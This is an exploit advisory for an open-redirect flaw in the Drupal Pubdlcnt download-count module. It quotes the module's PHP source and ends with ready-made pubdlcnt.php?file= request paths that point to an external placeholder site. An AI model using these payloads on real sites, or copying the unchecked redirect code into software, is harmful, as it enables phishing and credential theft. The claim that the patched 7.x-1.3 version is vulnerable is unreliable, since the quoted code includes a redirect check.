Drupal Pubdlcnt 7.x-1.2 Open Redirection

Drupal Pubdlcnt module version 7.x-1.2 suffers from an open redirection vulnerability.


MD5 | 59eccf643253fbdc792ec5ecc29b9f93

############################################################################

# Exploit Title : Drupal Pubdlcnt Modules 7.x-1.2 Public Download Count Open Redirection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 20/02/2019
# Vendor Homepage : drupal.org
# Software Download Links : ftp.drupal.org/files/projects/pubdlcnt-7.x-1.3.tar.gz
ftp.drupal.org/files/projects/pubdlcnt-6.x-1.x-dev.zip
ftp.drupal.org/files/projects/pubdlcnt-7.x-1.x-dev.zip
ftp.drupal.org/files/projects/pubdlcnt-7.x-1.1.zip
ftp.drupal.org/files/projects/pubdlcnt-7.x-1.2.zip
drupal.org/project/pubdlcnt/releases
# Software Information Link : drupal.org/project/pubdlcnt
# Software Affected Versions : 8.x-1.x-dev - 6.x-1.x-dev - 7.x-1.x-dev - 7.x-1.1 - 7.x-1.2 - 7.x-1.3
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

############################################################################

# Description about Software :
***************************
Public Download Count keeps track of file download counts.

Key Features =>

It is designed to work under the Drupal's public file system.
It can count the download of the file on external servers.
You can specify valid extensions of the target files.
You can see the yearly, monthly and daily download count for each file.
You can export the download count data as a CSV file.
It does not modify the original contents.
It works with the downloadable files listed in Views tables and lists.
You can create multiple blocks to show top download of specified period.

############################################################################

# Impact and Consequences :
**************************
This web application Drupal Pubdlcnt Modules 7.x-1.3 Public Download Count [ and other versions ]


accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect.

This simplifies phishing attacks. An http parameter may contain a URL value and could cause

the web application to redirect the request to the specified URL. By modifying the URL

value to a malicious site, an attacker may successfully launch a phishing scam and steal

user credentials. Because the server name in the modified link is identical to the original site, phishing

attempts have a more trustworthy appearance.

############################################################################

Example Vulnerable Source Code 2 : [ Version 6.x-1.x-dev and 7.x-1.2 other versions, too]
*****************************************************************************

<?php
// $Id:

/**
* @file
*
* file download external script
*
* @ingroup pubdlcnt
*
* Usage: pubdlcnt.php?file=http://server/path/file.ext
*
* Requirement: PHP5 - get_headers() function is used
* (The script works fine with PHP4 but better with PHP5)
*
* NOTE: we can not use variable_get() function from this external PHP program
* since variable_get() depends on Drupal's internal global variable.
* So we need to directly access {variable} table of the Drupal databse
* to obtain some module settings.
*
* Copyright 2009 Hideki Ito <[email protected]> Pixture Inc.
* Distributed under the GPL Licence.
*/

/**
* Step-1: start Drupal's bootstrap to use drupal database
* and includes necessary drupal files
*/

$current_dir = getcwd();

// we need to change the current directory to the (drupal-root) directory
// in order to include some necessary files.
if (file_exists('../../../../includes/bootstrap.inc')) {
// If this script is in the (drupal-root)/sites/(site)/modules/pubdlcnt directory
chdir('../../../../'); // go to drupal root
}
else if (file_exists('../../includes/bootstrap.inc')) {
// If this script is in the (drupal-root)/modules/pubdlcnt directory
chdir('../../'); // go to drupal root
}
else {
// Non standard location: you need to edit the line below so that chdir()
// command change the directory to the drupal root directory of your server
// using an absolute path.
// First, please delete the line below and then edit the next line
print "Error: Public Download Count module failed to work. The file pubdlcnt.php requires manual editing.\n";
chdir('/absolute-path-to-drupal-root/'); // <---- edit this line!

if (!file_exits('./includes/bootstrap.inc')) {
// We can not locate the bootstrap.inc file, let's give up using the
// script and just fetch the file
header('Location: ' . $_GET['file']);
exit;
}
}
include_once './includes/bootstrap.inc';
// following two lines are needed for check_url() and valid_url() call
include_once './includes/common.inc';
include_once './modules/filter/filter.module';
// start Drupal bootstrap for accessing database
drupal_bootstrap(DRUPAL_BOOTSTRAP_DATABASE);
chdir($current_dir);

/**
* Step-2: get file query value (URL of the actual file to be downloaded)
*/
$url = check_url($_GET['file']);
$nid = check_url($_GET['nid']);

if (!eregi("^(f|ht)tps?:\/\/.*", $url)) { // check if this is absolute URL
// if the URL is relative, then convert it to absolute
$url = "http://" . $_SERVER['SERVER_NAME'] . $url;
}

/**
* Step-3: check if the url is valid or not
*/
if (is_valid_file_url($url)) {
/**
* Step-4: update counter data (only if the URL is valid and file exists)
*/
$filename = basename($url);
pubdlcnt_update_counter($filename, $nid);
}

/**
* Step-5: redirect to the original URL of the file
*/
header('Location: ' . $url);
exit;

/**
* Function to check if the specified file URL is valid or not
*/
function is_valid_file_url($url) {
// replace space characters in the URL with '%20' to support file name
// with space characters
$url = preg_replace('/\s/', '%20', $url);

if (!valid_url($url, true)) {
return false;
}
// URL end with slach (/) and no file name
if (preg_match('/\/$/', $url)) {
return false;
}
// in case of FTP, we just return TRUE (the file exists)
if (preg_match('/ftps?:\/\/.*/i', $url)) {
return true;
}

// extract file name and extention
$filename = basename($url);
$extension = explode(".", $filename);
// file name does not have extension
if (($num = count($extension)) <= 1) {
return false;
}
$ext = $extension[$num - 1];

// get valid extensions settings from Drupal
$result = db_query("SELECT value FROM {variable}
WHERE name = 'pubdlcnt_valid_extensions'");
$valid_extensions = unserialize(db_result($result));
if (!empty($valid_extensions)) {
// check if the extension is a valid extension or not (case insensitive)
$s_valid_extensions = strtolower($valid_extensions);
$s_ext = strtolower($ext);
$s_valid_ext_array = explode(" ", $s_valid_extensions);
if (!in_array($s_ext, $s_valid_ext_array)) {
return false;
}
}

if (!url_exists($url)) {
return false;
}
return true; // it seems that the file URL is valid
}

/**
* Function to check if the specified file URL really exists or not
*/
function url_exists($url) {
$a_url = parse_url($url);
if (!isset($a_url['port'])) $a_url['port'] = 80;
$errno = 0;
$errstr = '';
$timeout = 30;
if (isset($a_url['host']) && $a_url['host'] != gethostbyname($a_url['host'])) {
$fid = @fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout);
if (!$fid) return false;
$page = isset($a_url['path']) ? $a_url['path'] : '';
$page .= isset($a_url['query']) ? '?' . $a_url['query'] : '';
fputs($fid, 'HEAD ' . $page . ' HTTP/1.0' . "\r\n" . 'HOST: '
. $a_url['host'] . "\r\n\r\n");
$head = fread($fid, 4096);
$head = substr($head, 0, strpos($head, 'Connection: close'));
fclose($fid);
// Here are popular status code back from the server
//
// URL exits 'HTTP/1.1 200 OK'
// URL exits (but redirected) 'HTTP/1.1 302 Found'
// URL does not exits 'HTTP/1.1 404 Not Found'
// Can not access URL 'HTTP/1.1 403 Forbidden'
// Can not access server 'HTTP/1.1 500 Internal Server Error
//
// So we return true only when status 200 or 302
if (preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head)) {
return $pos !== false;
}
}
return false;
}

/**
* Function to update the data base with new counter value
*/
function pubdlcnt_update_counter($name, $nid) {
$count = 1;
$name = db_escape_string($name); // security purpose

if (empty($nid)) { // node nid is invalid
return;
}
// today(00:00:00AM) in Unix time
$today = mktime(0, 0, 0, date("m"), date("d"), date("Y"));
// convert to datettime format
$mysqldate = date("Y-m-d H:i:s", $today);

$result = db_query("SELECT * FROM {pubdlcnt} WHERE name='%s' AND date='%s'",
$name, $mysqldate);
if ($rec = db_fetch_object($result)) {
$count = $rec->count + 1;
// update an existing record
db_query("UPDATE {pubdlcnt} SET count=%d WHERE name='%s' AND date='%s'",
$count, $name, $mysqldate);
}
else {
// insert a new record
db_query("INSERT INTO {pubdlcnt} (name, nid, date, count) VALUES ('%s', %d, '%s', %d)",
$name, $nid, $mysqldate, $count);
}
}
?>

############################################################################

# Another Vulnerable Source Code => [ pubdlcnt.php ] => Version 7.x-1.3
****************************************************************
<?php

/**
* @file
* File download external script.
*
* @ingroup pubdlcnt
*
* Usage: pubdlcnt.php?fid={file_id}
*
* NOTE: we can not use variable_get() function from this external PHP program
* since variable_get() depends on Drupal's internal global variable.
* So we need to directly access {variable} table of the Drupal databse
* to obtain some module settings.
*
* Copyright 2016 Corey Halpin <[email protected]>
* Copyright 2009 Hideki Ito <[email protected]> Pixture Inc.
* See LICENSE.txt for licensing terms.
*/

// Step-1: start Drupal's bootstrap to use drupal database
// and includes necessary drupal files:
$current_dir = getcwd();

// We need to change the current directory to the (drupal-root) directory
// in order to include some necessary files.
if (file_exists('../../../../includes/bootstrap.inc')) {
// If this script is in the (drupal-root)/sites/(site)/modules/pubdlcnt
// directory, go to drupal root:
chdir('../../../../');
}
elseif (file_exists('../../includes/bootstrap.inc')) {
// If this script is in the (drupal-root)/modules/pubdlcnt directory,
// go to drupal root:
chdir('../../');
}
else {
// Non standard location: you need to edit the line below so that chdir()
// command change the directory to the drupal root directory of your server
// using an absolute path.
// First, please delete the line below and then edit the next line.
print "Error: Public Download Count module failed to work. The file pubdlcnt.php requires manual editing.\n";
chdir('/absolute-path-to-drupal-root/');

if (!file_exists('./includes/bootstrap.inc')) {
exit;
}
}
define('DRUPAL_ROOT', realpath(getcwd()));
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';
// Following two lines are needed for check_url() and valid_url() call:
include_once DRUPAL_ROOT . '/includes/common.inc';
include_once DRUPAL_ROOT . '/modules/filter/filter.module';

// Start Drupal bootstrap for accessing database:
drupal_bootstrap(DRUPAL_BOOTSTRAP_DATABASE);
chdir($current_dir);

// Step 2: Get file query value (fid of the file todownload)
if (!isset($_GET["fid"])) {
header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request");
print "<pre>ERROR: no file specified for donwload.</pre>";
exit;
}

// Check that the fid given is valid:
$rec = db_query(
"SELECT * FROM {pubdlcnt} WHERE fid=:fid",
[':fid' => $_GET["fid"]]
)->fetchObject();
if ($rec === FALSE) {
header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request");
print "<pre>ERROR: invalid fid provided.</pre>";
exit;
}

$url = $rec->url;
$nid = $rec->nid;

// Is this an absolute url?
if (!preg_match("%^(f|ht)tps?://.*%i", $url)) {
// If the URL is relative, then convert it to absolute:
$url = "http://" . $_SERVER['SERVER_NAME'] . $url;
}

// Step 3: Check that the URL is valid:
if (!pubdlcnt_is_valid_file_url($url)) {
header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request");
print "<pre>ERROR: Invalid download url.</pre>";
exit;
}

// Step 4: If this is an external link and referer is also external, refuse to
// redirect to prevent an open redirect vulnerability.
$tgt_domain = parse_url($url, PHP_URL_HOST);
$referer = isset($_SERVER["HTTP_REFERER"]) ?
parse_url($_SERVER["HTTP_REFERER"], PHP_URL_HOST) :
FALSE;
if ($tgt_domain != $_SERVER['SERVER_NAME'] &&
$referer != $_SERVER['SERVER_NAME']) {
header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request");
print "<pre>Refusing to redirect to external site.</pre>";
exit;
}

// Step 5: At this point, request must be valid. Update counter data.
pubdlcnt_update_counter($rec->fid);

// Step 6: redirect to the original URL of the file:
header('Cache-Control: max-age=0');
header('Location: ' . $url);

/**
* Function to check if the specified file URL is valid or not.
*
* @param string $url
* Url to check.
*
* @return bool
* TRUE for valid files, FALSE otherwise.
*/
function pubdlcnt_is_valid_file_url(string $url) {
// Replace space characters in the URL with '%20' to support file name
// with space characters:
$url = preg_replace('/\s/', '%20', $url);
if (!valid_url($url, TRUE)) {
return FALSE;
}

// URL end with slach (/) and no file name:
if (preg_match('/\/$/', $url)) {
return FALSE;
}

// In case of FTP, we just return TRUE (the file exists):
if (preg_match('/ftps?:\/\/.*/i', $url)) {
return TRUE;
}

// Extract file name and extension:
$filename = basename($url);
$extension = explode(".", $filename);

// File name does not have extension:
if (($num = count($extension)) <= 1) {
return FALSE;
}
$ext = $extension[$num - 1];

// Get valid extensions settings from Drupal:
$result = db_query("SELECT value FROM {variable}
WHERE name = :name", array(':name' => 'pubdlcnt_valid_extensions'))->fetchField();
$valid_extensions = unserialize($result);
if (!empty($valid_extensions)) {
// Check if the extension is a valid extension or not (case insensitive):
$s_valid_extensions = strtolower($valid_extensions);
$s_ext = strtolower($ext);
$s_valid_ext_array = explode(" ", $s_valid_extensions);
if (!in_array($s_ext, $s_valid_ext_array)) {
return FALSE;
}
}

// Check if url exists:
$result = drupal_http_request($url, array("method" => "HEAD"));
if ($result->code != 200) {
return FALSE;
}

// It seems that the file URL is valid:
return TRUE;
}

/**
* Function to check duplicate download from the same IP address within a day.
*
* @param int $fid
* Id of file being downloaded.
*
* @return int
* 0 - OK, 1 - duplicate (skip counting)
*/
function pubdlcnt_check_duplicate(int $fid) {
// Get the settings:
$result = db_query("SELECT value FROM {variable} WHERE name = :name",
array(':name' => 'pubdlcnt_skip_duplicate'))->fetchField();
$skip_duplicate = unserialize($result);
if (!$skip_duplicate) {
return 0;
}

// OK, we should check the duplicate download:
$ip = filter_var(ip_address(), FILTER_VALIDATE_IP);
if ($ip === FALSE) {
// Invalid IPv4 address:
return 1;
}

// Unix timestamp:
$today = mktime(0, 0, 0, date("m"), date("d"), date("Y"));

$result = db_query(
"SELECT * FROM {pubdlcnt_ip} WHERE fid=:fid AND ip=:ip AND utime=:utime", [
':fid' => $fid,
':ip' => $ip,
':utime' => $today,
]);
if ($result->rowCount()) {
// Found duplicate!
return 1;
}

// Add IP address to the database:
db_insert('pubdlcnt_ip')
->fields([
'fid' => $fid,
'ip' => $ip,
'utime' => $today,
])->execute();

return 0;
}

/**
* Function to update the data base with new counter value.
*
* @param int $fid
* Id of file being downloaded.
*/
function pubdlcnt_update_counter(int $fid) {
// Check the duplicate download from the same IP and skip updating counter:
if (pubdlcnt_check_duplicate($fid)) {
return;
}

db_update('pubdlcnt')
->expression('count', 'count + 1')
->condition('fid', $fid)
->execute();

// Get the settings:
$result = db_query(
"SELECT value FROM {variable} WHERE name=:name",
[':name' => 'pubdlcnt_save_history']
)->fetchField();
$save_history = unserialize($result);

if ($save_history) {
$today = mktime(0, 0, 0, date("m"), date("d"), date("Y"));

db_merge('pubdlcnt_history')
->key(['fid' => $fid, 'utime' => $today])
->fields(['count' => 1])
->expression('count', 'count + 1')
->execute();
}
}

############################################################################

Another Vulnerable Source Code 2 :
*******************************

$url = check_url($_GET['file']);
$nid = check_url($_GET['nid']);
if (!eregi("^(f|ht)tps?:\/\/.*", $url)) { // check if this is absolute URL
// if the URL is relative, then convert it to absolute
$url = "http://" . $_SERVER['SERVER_NAME'] . $url;
}
if (is_valid_file_url($url)) {
$filename = basename($url);
pubdlcnt_update_counter($url, $filename, $nid);
header('Location: ' . $url);
exit;

############################################################################

# Open Redirection Exploit :
**************************
Usage: pubdlcnt.php?fid={file_id}

Usage: pubdlcnt.php?file=http://server/

/web/modules/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/

/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/

/sites/all/modules/patched/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/

/sites/all/modules/contributed/other/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

####################################################################

Related Posts